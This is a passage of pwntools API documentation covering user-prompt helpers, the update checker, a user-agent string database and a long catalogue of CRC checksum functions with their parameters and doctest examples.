Delimiter to use for *sendline()*, *recvline()*, and related functions.

2.28 pwntools.ui — Functions for user interaction

pwntools.ui.more (*text*)

Shows text like the command line tool *more*.

It not in *term_mode*, just prints the data to the screen.

Parameters *text* (*str*) – The text to show.

Returns *None*

pwntools.ui.options (*prompt, opts, default=None*)

Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **prompt** (*str*) – The prompt to show
- **opts** (*list*) – The options to show to the user
- **default** – The default option to choose

Returns The users choice in the form of an integer.

`pwnlib.ui.pause` (*n=None*)

Waits for either user input or a specific number of seconds.

`pwnlib.ui.yesno` (*prompt, default=None*)

Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **prompt** (*str*) – The prompt to show
- **default** – The default option; *True* means “yes”

Returns *True* if the answer was “yes”, *False* if “no”

2.29 pwnlib.update — Updating Pwntools

Pwntools Update

In order to ensure that Pwntools users always have the latest and greatest version, Pwntools automatically checks for updates.

Since this update check takes a moment, it is only performed once every week. It can be permanently disabled via:

```
$ echo never > ~/.pwntools-cache/update
```

`pwnlib.update.available_on_pypi` (*prerelease=False*)

Return True if an update is available on PyPI.

```
>>> available_on_pypi() # doctest: +ELLIPSIS
<Version('...')>
>>> available_on_pypi(prerelease=False).is_prerelease
False
```

`pwnlib.update.cache_file` ()

Returns the path of the file used to cache update data, and ensures that it exists.

`pwnlib.update.last_check` ()

Return the date of the last check

`pwnlib.update.perform_check` (*prerelease=False*)

Perform the update check, and report to the user.

Parameters *prerelease* (*bool*) – Whether or not to include pre-release versions.

Returns A list of arguments to the update command.

```
>>> from packaging.version import Version
>>> pwnlib.update.current_version = Version("999.0.0")
>>> print(perform_check())
None
>>> pwnlib.update.current_version = Version("0.0.0")
>>> perform_check() # doctest: +ELLIPSIS
['pip', 'install', '-U', ...]
```

```
>>> def bail(*a): raise Exception()
>>> pypi = pwnlib.update.available_on_pypi
```



```
>>> perform_check(prerelease=False)
['pip', 'install', '-U', 'pwntools']
>>> perform_check(prerelease=True) # doctest: +ELLIPSIS
['pip', 'install', '-U', 'pwntools...']
```

`pwnlib.update.should_check()`
Return True if we should check for an update

2.30 `pwnlib.useragents` — A database of useragent strings

Database of >22,000 user agent strings

`pwnlib.useragents.getall()` → str set
Get all the user agents that we know about.

Parameters None –

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

`pwnlib.useragents.random()` → str
Get a random user agent string.

Parameters None –

Returns A random user agent string selected from `getall()`.

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random() # doctest: +SKIP
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts;
↪FunWebProducts-MyTotalSearch; iebar)'
```

2.31 `pwnlib.util.crc` — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations known on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working directly on bit polynomials. This class is exposed as *BitPolynom*.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of 'A'*40000.

An obvious optimization would be to actually generate some lookup-tables.

This doctest is to ensure that the known data are accurate:

```
>>> known = sys.modules['pwnlib.util.crc.known']
>>> known.all_crcs == known.generate()
True
```

class pwnlib.util.crc.**BitPolynom**(*n*)

Class for representing $\text{GF}(2)[X]$, i.e. the field of polynomials over $\text{GF}(2)$.

In practice the polynomials are represented as numbers such that x^{**n} corresponds to $1 \ll n$. In this representation calculations are easy: Just do everything as normal, but forget about everything the carries.

Addition becomes xor and multiplication becomes carry-less multiplication.

Examples

```
>>> p1 = BitPolynom("x**3 + x + 1")
>>> p1
BitPolynom('x**3 + x + 1')
>>> int(p1)
11
>>> p1 == BitPolynom(11)
True
>>> p2 = BitPolynom("x**2 + x + 1")
>>> p1 + p2
BitPolynom('x**3 + x**2')
>>> p1 * p2
BitPolynom('x**5 + x**4 + 1')
>>> p1 // p2
BitPolynom('x + 1')
>>> p1 % p2
BitPolynom('x')
>>> d, r = divmod(p1, p2)
>>> d * p2 + r == p1
True
>>> BitPolynom(-1)
Traceback (most recent call last):
...
ValueError: Polynomials cannot be negative: -1
>>> BitPolynom('y')
Traceback (most recent call last):
...
ValueError: Not a valid polynomial: y
```

degree()

Returns the degree of the polynomial.

Examples

```
>>> BitPolynom(0).degree()
0
>>> BitPolynom(1).degree()
0
>>> BitPolynom(2).degree()
1
>>> BitPolynom(7).degree()
2
```

(continues on next page)

(continued from previous page)

```
>>> BitPolynom((1 << 10) - 1).degree()
9
>>> BitPolynom(1 << 10).degree()
10
```

`pwnlib.util.crc.generic_crc(data, polynom, width, init, refin, refout, xorout)`

A generic CRC-sum function.

This is suitable to use with: <http://reveng.sourceforge.net/crc-catalogue/all.htm>

The “check” value in the document is the CRC-sum of the string “123456789”.

Parameters

- **data** (*str*) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.
- **polynom** (*int*) – The polynomial to use.
- **init** (*int*) – If the CRC-sum was calculated in hardware, then this would be the initial value of the checksum register.
- **refin** (*bool*) – Should the input bytes be reflected?
- **refout** (*bool*) – Should the checksum be reflected?
- **xorout** (*int*) – The value to xor the checksum with before outputting

`pwnlib.util.crc.cksum(data) → int`

Calculates the same checksum as returned by the UNIX-tool `cksum`.

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(cksum(b'123456789'))
930766865
```

`pwnlib.util.crc.find_crc_function(data, checksum)`

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters **data** (*str*) – Data for which the checksum is known.

Example

```
>>> find_crc_function(b'test', 46197)
[<function crc_crc_16_dnp at ...>]
```

`pwnlib.util.crc.arc(data) → int`

Calculates the arc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`

- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(arc(b'123456789'))
47933
```

`pwnlib.util.crc.crc_10(data) → int`
Calculates the `crc_10` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x233`
- `width = 10`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_10(b'123456789'))
409
```

`pwnlib.util.crc.crc_10_cdma2000(data) → int`
Calculates the `crc_10_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d9`
- `width = 10`
- `init = 0x3ff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_10_cdma2000(b'123456789'))
563
```

`pwnlib.util.crc.crc_10_gsm(data) → int`

Calculates the `crc_10_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x175`
- `width = 10`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x3ff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_10_gsm(b'123456789'))
298
```

`pwnlib.util.crc.crc_11(data) → int`

Calculates the `crc_11` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x385`
- `width = 11`
- `init = 0x1a`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_11(b'123456789'))
1443
```

`pwnlib.util.crc.crc_11_ums(data) → int`

Calculates the `crc_11_ums` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x307`
- `width = 11`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-11-umts>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_11_umts(b'123456789'))
97
```

`pwnlib.util.crc.crc_12_cdma2000(data) → int`

Calculates the `crc_12_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xf13`
- `width = 12`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_12_cdma2000(b'123456789'))
3405
```

`pwnlib.util.crc.crc_12_dect(data) → int`

Calculates the `crc_12_dect` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x80f`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_12_dect(b'123456789'))
3931
```

`pwnlib.util.crc.crc_12_gsm(data) → int`
Calculates the `crc_12_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xd31`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xfff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_12_gsm(b'123456789'))
2868
```

`pwnlib.util.crc.crc_12_ums(data) → int`
Calculates the `crc_12_ums` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x80f`
- `width = 12`
- `init = 0x0`
- `refin = False`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-ums>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_12_ums(b'123456789'))
3503
```

`pwnlib.util.crc.crc_13_bbc(data) → int`
Calculates the `crc_13_bbc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1cf5`
- `width = 13`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_13_bbc(b'123456789'))
1274
```

`pwnlib.util.crc.crc_14_darc(data) → int`
Calculates the `crc_14_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x805`
- `width = 14`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_14_darc(b'123456789'))
2093
```

`pwnlib.util.crc.crc_14_gsm(data) → int`
Calculates the `crc_14_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x202d`
- `width = 14`
- `init = 0x0`
- `refin = False`

- refout = False
- xorout = 0x3fff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-14-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_14_gsm(b'123456789'))
12462
```

`pwnlib.util.crc.crc_15(data) → int`

Calculates the `crc_15` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4599
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_15(b'123456789'))
1438
```

`pwnlib.util.crc.crc_15_mpt1327(data) → int`

Calculates the `crc_15_mpt1327` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x6815
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_15_mpt1327 (b'123456789'))
9574
```

`pwnlib.util.crc.crc_16_aug_ccitt (data) → int`

Calculates the `crc_16_aug_ccitt` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x1d0f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_16_aug_ccitt (b'123456789'))
58828
```

`pwnlib.util.crc.crc_16_buypass (data) → int`

Calculates the `crc_16_buypass` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print (crc_16_buypass (b'123456789'))
65256
```

`pwnlib.util.crc.crc_16_ccitt_false (data) → int`

Calculates the `crc_16_ccitt_false` checksum.

This is simply the `generic_crc ()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_ccitt_false(b'123456789'))
10673
```

`pwnlib.util.crc.crc_16_cdma2000(data) → int`

Calculates the `crc_16_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xc867`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_cdma2000(b'123456789'))
19462
```

`pwnlib.util.crc.crc_16_cms(data) → int`

Calculates the `crc_16_cms` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cms>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_cms(b'123456789'))
44775
```

`pwnlib.util.crc.crc_16_ddc_110(data) → int`
Calculates the `crc_16_ddc_110` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x800d`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ddc-110>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_ddc_110(b'123456789'))
40655
```

`pwnlib.util.crc.crc_16_dect_r(data) → int`
Calculates the `crc_16_dect_r` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x1`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_dect_r(b'123456789'))
126
```

`pwnlib.util.crc.crc_16_dect_x(data) → int`
 Calculates the `crc_16_dect_x` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x589`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_16_dect_x(b'123456789'))
127
```

`pwnlib.util.crc.crc_16_dnp(data) → int`
 Calculates the `crc_16_dnp` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d65`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_16_dnp(b'123456789'))
60034
```

`pwnlib.util.crc.crc_16_en_13757(data) → int`
 Calculates the `crc_16_en_13757` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3d65`
- `width = 16`
- `init = 0x0`
- `refin = False`

- refout = False
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_16_en_13757 (b'123456789'))
49847
```

`pwnlib.util.crc.crc_16_genibus (data) → int`
Calculates the `crc_16_genibus` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print (crc_16_genibus (b'123456789'))
54862
```

`pwnlib.util.crc.crc_16_gsm (data) → int`
Calculates the `crc_16_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-gsm>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_gsm(b'123456789'))
52796
```

`pwnlib.util.crc.crc_16_lj1200(data) → int`

Calculates the `crc_16_lj1200` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x6f63`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-lj1200>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_lj1200(b'123456789'))
48628
```

`pwnlib.util.crc.crc_16_maxim(data) → int`

Calculates the `crc_16_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8005`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_maxim(b'123456789'))
17602
```

`pwnlib.util.crc.crc_16_mcrf4xx(data) → int`

Calculates the `crc_16_mcrf4xx` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_mcrf4xx(b'123456789'))
28561
```

`pwnlib.util.crc.crc_16_opensafety_a(data) → int`

Calculates the `crc_16_opensafety_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5935`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_opensafety_a(b'123456789'))
23864
```

`pwnlib.util.crc.crc_16_opensafety_b(data) → int`

Calculates the `crc_16_opensafety_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x755b`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_opensafety_b(b'123456789'))
8446
```

`pwnlib.util.crc.crc_16_profibus(data) → int`
Calculates the `crc_16_profibus` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1dcf`
- `width = 16`
- `init = 0xffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-profibus>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_profibus(b'123456789'))
43033
```

`pwnlib.util.crc.crc_16_riello(data) → int`
Calculates the `crc_16_riello` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0xb2aa`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_riello(b'123456789'))
25552
```

`pwnlib.util.crc.crc_16_t10_dif(data) → int`
Calculates the `crc_16_t10_dif` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x8bb7`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_t10_dif(b'123456789'))  
53467
```

`pwnlib.util.crc.crc_16_teledisk(data) → int`
Calculates the `crc_16_teledisk` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xa097`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_teledisk(b'123456789'))  
4019
```

`pwnlib.util.crc.crc_16_tms37157(data) → int`
Calculates the `crc_16_tms37157` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x89ec`
- `refin = True`

- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_tms37157(b'123456789'))
9905
```

`pwnlib.util.crc.crc_16_usb(data) → int`

Calculates the `crc_16_usb` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_16_usb(b'123456789'))
46280
```

`pwnlib.util.crc.crc_24(data) → int`

Calculates the `crc_24` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x864cfb
- width = 24
- init = 0xb704ce
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24(b'123456789'))
2215682
```

`pwnlib.util.crc.crc_24_ble(data) → int`

Calculates the `crc_24_ble` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x65b`
- `width = 24`
- `init = 0x555555`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-ble>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_ble(b'123456789'))
12737110
```

`pwnlib.util.crc.crc_24_flexray_a(data) → int`

Calculates the `crc_24_flexray_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5d6dcb`
- `width = 24`
- `init = 0xfedcba`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_flexray_a(b'123456789'))
7961021
```

`pwnlib.util.crc.crc_24_flexray_b(data) → int`

Calculates the `crc_24_flexray_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5d6dcb`
- `width = 24`
- `init = 0xabcdef`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_flexray_b(b'123456789'))
2040760
```

`pwnlib.util.crc.crc_24_interlaken(data) → int`

Calculates the `crc_24_interlaken` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x328b63`
- `width = 24`
- `init = 0xffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-interlaken>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_interlaken(b'123456789'))
11858918
```

`pwnlib.util.crc.crc_24_lte_a(data) → int`

Calculates the `crc_24_lte_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x864cfb`
- `width = 24`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_lte_a(b'123456789'))
13494019
```

`pwnlib.util.crc.crc_24_lte_b(data) → int`
Calculates the `crc_24_lte_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x800063`
- `width = 24`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_24_lte_b(b'123456789'))
2355026
```

`pwnlib.util.crc.crc_30_cdma(data) → int`
Calculates the `crc_30_cdma` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2030b9c7`
- `width = 30`
- `init = 0x3fffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x3fffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.30>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_30_cdma(b'123456789'))
79907519
```

`pwnlib.util.crc.crc_31_philips(data) → int`
 Calculates the `crc_31_philips` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 31`
- `init = 0x7ffffff`
- `refin = False`
- `refout = False`
- `xorout = 0x7ffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_31_philips(b'123456789'))
216654956
```

`pwnlib.util.crc.crc_32(data) → int`
 Calculates the `crc_32` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print(crc_32(b'123456789'))
3421780262
```

`pwnlib.util.crc.crc_32_autosar(data) → int`
 Calculates the `crc_32_autosar` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0xf4acfb13`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`

- refout = True
- xorout = 0xffffffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-autosar>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_autosar(b'123456789'))
379048042
```

`pwnlib.util.crc.crc_32_bzip2(data) → int`

Calculates the `crc_32_bzip2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0xffffffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_bzip2(b'123456789'))
4236843288
```

`pwnlib.util.crc.crc_32_mpeg_2(data) → int`

Calculates the `crc_32_mpeg_2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2>

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_mpeg_2(b'123456789'))
58124007
```

`pwnlib.util.crc.crc_32_posix(data) → int`

Calculates the `crc_32_posix` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print(crc_32_posix(b'123456789'))
1985902208
```

`pwnlib.util.crc.crc_32c(data) → int`

Calculates the `crc_32c` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1edc6f41`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c>

